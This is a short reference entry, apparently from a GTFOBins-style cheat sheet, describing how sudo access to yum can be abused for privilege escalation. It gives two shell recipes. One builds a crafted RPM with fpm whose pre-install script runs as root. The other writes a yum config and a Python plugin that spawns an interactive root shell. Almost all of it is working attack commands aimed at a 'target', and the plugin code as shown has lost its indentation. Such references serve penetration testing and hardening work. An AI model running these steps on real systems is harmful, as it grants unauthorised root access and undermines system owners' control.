It runs in privileged context and may be used to access the file system,
escalate or maintain access with elevated privileges if enabled on sudo.
It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF
sudo yum localinstall -y x-1.0-1.noarch.rpm
Spawn interactive root shell by loading a custom plugin.
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y